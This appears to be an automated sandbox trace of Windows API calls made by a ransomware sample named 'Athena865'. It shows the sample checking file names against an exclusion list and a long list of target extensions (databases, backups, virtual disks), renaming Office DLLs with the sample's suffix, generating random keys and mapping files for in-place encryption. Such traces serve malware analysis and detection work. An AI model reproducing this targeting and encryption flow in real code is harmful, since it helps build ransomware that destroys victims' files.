[0114.118] lstrlenW (lpString="tgz") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.118] lstrlenW (lpString="vbox") returned 4 [0114.118] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.118] lstrlenW (lpString="vdi") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.118] lstrlenW (lpString="vhd") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.118] lstrlenW (lpString="vhdx") returned 4 [0114.118] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.118] lstrlenW (lpString="avhd") returned 4 [0114.118] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.118] lstrlenW (lpString="db") returned 2 [0114.119] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.119] lstrlenW (lpString="db2") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.119] lstrlenW (lpString="db3") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.119] lstrlenW (lpString="dbf") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.119] lstrlenW (lpString="mdf") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.119] lstrlenW (lpString="mdb") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.119] lstrlenW (lpString="sql") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.119] lstrlenW (lpString="sqlite") returned 6 [0114.119] lstrcmpiW (lpString1="LS.DLL", lpString2="sqlite") returned -1 [0114.119] lstrlenW (lpString="sqlite3") returned 7 [0114.119] lstrcmpiW (lpString1="TLS.DLL", lpString2="sqlite3") returned 1 [0114.119] lstrlenW (lpString="sqlitedb") returned 8 [0114.119] lstrcmpiW (lpString1="PTLS.DLL", lpString2="sqlitedb") returned -1 [0114.119] lstrlenW (lpString="xml") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.119] lstrlenW (lpString="$er") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.119] lstrlenW (lpString="4dd") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.119] lstrlenW (lpString="4dl") returned 3 [0114.119] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.120] lstrlenW (lpString="^^^") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.120] lstrlenW (lpString="abs") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.120] lstrlenW (lpString="abx") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.120] lstrlenW (lpString="accdb") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0114.120] lstrlenW (lpString="accdc") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0114.120] lstrlenW (lpString="accde") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0114.120] lstrlenW (lpString="accdr") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0114.120] lstrlenW (lpString="accdt") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0114.120] lstrlenW (lpString="accdw") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0114.120] lstrlenW (lpString="accft") returned 5 [0114.120] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0114.120] lstrlenW (lpString="adb") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.120] lstrlenW (lpString="adb") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.120] lstrlenW (lpString="ade") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.120] lstrlenW (lpString="adf") returned 3 [0114.120] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.120] lstrlenW (lpString="adn") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.121] lstrlenW (lpString="adp") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.121] lstrlenW (lpString="alf") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.121] lstrlenW (lpString="ask") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.121] lstrlenW (lpString="btr") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.121] lstrlenW (lpString="cat") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.121] lstrlenW (lpString="cdb") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.121] lstrlenW (lpString="ckp") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.121] lstrlenW (lpString="cma") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.121] lstrlenW (lpString="cpd") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.121] lstrlenW (lpString="dacpac") returned 6 [0114.121] lstrcmpiW (lpString1="LS.DLL", lpString2="dacpac") returned 1 [0114.121] lstrlenW (lpString="dad") returned 3 [0114.121] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.121] lstrlenW (lpString="dadiagrams") returned 10 [0114.121] lstrlenW (lpString="daschema") returned 8 [0114.121] lstrcmpiW (lpString1="PTLS.DLL", lpString2="daschema") returned 1 [0114.121] lstrlenW (lpString="db-journal") returned 10 [0114.121] lstrlenW (lpString="db-shm") returned 6 [0114.121] lstrcmpiW (lpString1="LS.DLL", lpString2="db-shm") returned 1 [0114.121] lstrlenW (lpString="db-wal") returned 6 [0114.122] lstrcmpiW (lpString1="LS.DLL", lpString2="db-wal") returned 1 [0114.122] lstrlenW (lpString="dbc") returned 3 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.122] lstrlenW (lpString="dbs") returned 3 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.122] lstrlenW (lpString="dbt") returned 3 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.122] lstrlenW (lpString="dbv") returned 3 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.122] lstrlenW (lpString="dbx") returned 3 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.122] lstrlenW (lpString="dcb") returned 3 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.122] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.122] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.Athena865") returned 76 [0114.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.athena865"), dwFlags=0x1) returned 1 [0114.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.124] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1198464) returned 1 [0114.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.124] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.125] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.125] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.125] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x124c80, lpName=0x0) returned 0x17c [0114.126] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x124c80) returned 0x2d50000 [0114.180] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.181] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.181] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.182] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0114.191] CloseHandle (hObject=0x17c) returned 1 [0114.191] CloseHandle (hObject=0x154) returned 1 [0114.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.198] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="..") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="windows") returned -1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="bootmgr") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="temp") returned -1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="pagefile.sys") returned -1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="boot") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="ids.txt") returned 1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="ntuser.dat") returned -1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="perflogs") returned -1 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="MSBuild") returned 1 [0114.198] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0114.198] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSSOAP30.DLL" | out: lpString1="MSSOAP30.DLL") returned="MSSOAP30.DLL" [0114.198] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0114.198] lstrlenW (lpString="Athena865") returned 9 [0114.198] lstrcmpiW (lpString1="OAP30.DLL", lpString2="Athena865") returned 1 [0114.198] lstrlenW (lpString=".dll") returned 4 [0114.198] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".dll") returned 1 [0114.198] lstrlenW (lpString=".lnk") returned 4 [0114.199] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".lnk") returned 1 [0114.199] lstrlenW (lpString=".ini") returned 4 [0114.199] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".ini") returned 1 [0114.199] lstrlenW (lpString=".sys") returned 4 [0114.199] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".sys") returned 1 [0114.199] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0114.199] lstrlenW (lpString="bak") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.199] lstrlenW (lpString="ba_") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.199] lstrlenW (lpString="dbb") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.199] lstrlenW (lpString="vmdk") returned 4 [0114.199] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.199] lstrlenW (lpString="rar") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.199] lstrlenW (lpString="zip") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.199] lstrlenW (lpString="tgz") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.199] lstrlenW (lpString="vbox") returned 4 [0114.199] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.199] lstrlenW (lpString="vdi") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.199] lstrlenW (lpString="vhd") returned 3 [0114.199] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.199] lstrlenW (lpString="vhdx") returned 4 [0114.199] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.200] lstrlenW (lpString="avhd") returned 4 [0114.200] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.200] lstrlenW (lpString="db") returned 2 [0114.200] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.200] lstrlenW (lpString="db2") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.200] lstrlenW (lpString="db3") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.200] lstrlenW (lpString="dbf") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.200] lstrlenW (lpString="mdf") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.200] lstrlenW (lpString="mdb") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.200] lstrlenW (lpString="sql") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.200] lstrlenW (lpString="sqlite") returned 6 [0114.200] lstrcmpiW (lpString1="30.DLL", lpString2="sqlite") returned -1 [0114.200] lstrlenW (lpString="sqlite3") returned 7 [0114.200] lstrcmpiW (lpString1="P30.DLL", lpString2="sqlite3") returned -1 [0114.200] lstrlenW (lpString="sqlitedb") returned 8 [0114.200] lstrcmpiW (lpString1="AP30.DLL", lpString2="sqlitedb") returned -1 [0114.200] lstrlenW (lpString="xml") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.200] lstrlenW (lpString="$er") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.200] lstrlenW (lpString="4dd") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.200] lstrlenW (lpString="4dl") returned 3 [0114.200] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.201] lstrlenW (lpString="^^^") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.201] lstrlenW (lpString="abs") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.201] lstrlenW (lpString="abx") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.201] lstrlenW (lpString="accdb") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0114.201] lstrlenW (lpString="accdc") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0114.201] lstrlenW (lpString="accde") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0114.201] lstrlenW (lpString="accdr") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0114.201] lstrlenW (lpString="accdt") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0114.201] lstrlenW (lpString="accdw") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0114.201] lstrlenW (lpString="accft") returned 5 [0114.201] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0114.201] lstrlenW (lpString="adb") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.201] lstrlenW (lpString="adb") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.201] lstrlenW (lpString="ade") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.201] lstrlenW (lpString="adf") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.201] lstrlenW (lpString="adn") returned 3 [0114.201] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.201] lstrlenW (lpString="adp") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.202] lstrlenW (lpString="alf") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.202] lstrlenW (lpString="ask") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.202] lstrlenW (lpString="btr") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.202] lstrlenW (lpString="cat") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.202] lstrlenW (lpString="cdb") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.202] lstrlenW (lpString="ckp") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.202] lstrlenW (lpString="cma") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.202] lstrlenW (lpString="cpd") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.202] lstrlenW (lpString="dacpac") returned 6 [0114.202] lstrcmpiW (lpString1="30.DLL", lpString2="dacpac") returned -1 [0114.202] lstrlenW (lpString="dad") returned 3 [0114.202] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.202] lstrlenW (lpString="dadiagrams") returned 10 [0114.202] lstrcmpiW (lpString1="SOAP30.DLL", lpString2="dadiagrams") returned 1 [0114.202] lstrlenW (lpString="daschema") returned 8 [0114.202] lstrcmpiW (lpString1="AP30.DLL", lpString2="daschema") returned -1 [0114.202] lstrlenW (lpString="db-journal") returned 10 [0114.202] lstrcmpiW (lpString1="SOAP30.DLL", lpString2="db-journal") returned 1 [0114.202] lstrlenW (lpString="db-shm") returned 6 [0114.202] lstrcmpiW (lpString1="30.DLL", lpString2="db-shm") returned -1 [0114.202] lstrlenW (lpString="db-wal") returned 6 [0114.203] lstrcmpiW (lpString1="30.DLL", lpString2="db-wal") returned -1 [0114.203] lstrlenW (lpString="dbc") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.203] lstrlenW (lpString="dbs") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.203] lstrlenW (lpString="dbt") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.203] lstrlenW (lpString="dbv") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.203] lstrlenW (lpString="dbx") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.203] lstrlenW (lpString="dcb") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.203] lstrlenW (lpString="dct") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.203] lstrlenW (lpString="dcx") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.203] lstrlenW (lpString="ddl") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.203] lstrlenW (lpString="dlis") returned 4 [0114.203] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.203] lstrlenW (lpString="dp1") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.203] lstrlenW (lpString="dqy") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.203] lstrlenW (lpString="dsk") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.203] lstrlenW (lpString="dsn") returned 3 [0114.203] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.203] lstrlenW (lpString="dtsx") returned 4 [0114.204] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.204] lstrlenW (lpString="dxl") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.204] lstrlenW (lpString="eco") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.204] lstrlenW (lpString="ecx") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.204] lstrlenW (lpString="edb") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.204] lstrlenW (lpString="epim") returned 4 [0114.204] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.204] lstrlenW (lpString="fcd") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.204] lstrlenW (lpString="fdb") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.204] lstrlenW (lpString="fic") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.204] lstrlenW (lpString="flexolibrary") returned 12 [0114.204] lstrlenW (lpString="fm5") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.204] lstrlenW (lpString="fmp") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.204] lstrlenW (lpString="fmp12") returned 5 [0114.204] lstrcmpiW (lpString1="0.DLL", lpString2="fmp12") returned -1 [0114.204] lstrlenW (lpString="fmpsl") returned 5 [0114.204] lstrcmpiW (lpString1="0.DLL", lpString2="fmpsl") returned -1 [0114.204] lstrlenW (lpString="fol") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.204] lstrlenW (lpString="fp3") returned 3 [0114.204] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.205] lstrlenW (lpString="fp4") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.205] lstrlenW (lpString="fp5") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.205] lstrlenW (lpString="fp7") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.205] lstrlenW (lpString="fpt") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.205] lstrlenW (lpString="frm") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.205] lstrlenW (lpString="gdb") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.205] lstrlenW (lpString="gdb") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.205] lstrlenW (lpString="grdb") returned 4 [0114.205] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.205] lstrlenW (lpString="gwi") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.205] lstrlenW (lpString="hdb") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.205] lstrlenW (lpString="his") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.205] lstrlenW (lpString="ib") returned 2 [0114.205] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.205] lstrlenW (lpString="idb") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.205] lstrlenW (lpString="ihx") returned 3 [0114.205] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.205] lstrlenW (lpString="itdb") returned 4 [0114.205] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.206] lstrlenW (lpString="itw") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.206] lstrlenW (lpString="jet") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.206] lstrlenW (lpString="jtx") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.206] lstrlenW (lpString="kdb") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.206] lstrlenW (lpString="kexi") returned 4 [0114.206] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.206] lstrlenW (lpString="kexic") returned 5 [0114.206] lstrcmpiW (lpString1="0.DLL", lpString2="kexic") returned -1 [0114.206] lstrlenW (lpString="kexis") returned 5 [0114.206] lstrcmpiW (lpString1="0.DLL", lpString2="kexis") returned -1 [0114.206] lstrlenW (lpString="lgc") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.206] lstrlenW (lpString="lwx") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.206] lstrlenW (lpString="maf") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.206] lstrlenW (lpString="maq") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.206] lstrlenW (lpString="mar") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.206] lstrlenW (lpString="marshal") returned 7 [0114.206] lstrcmpiW (lpString1="P30.DLL", lpString2="marshal") returned 1 [0114.206] lstrlenW (lpString="mas") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.206] lstrlenW (lpString="mav") returned 3 [0114.206] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.207] lstrlenW (lpString="maw") returned 3 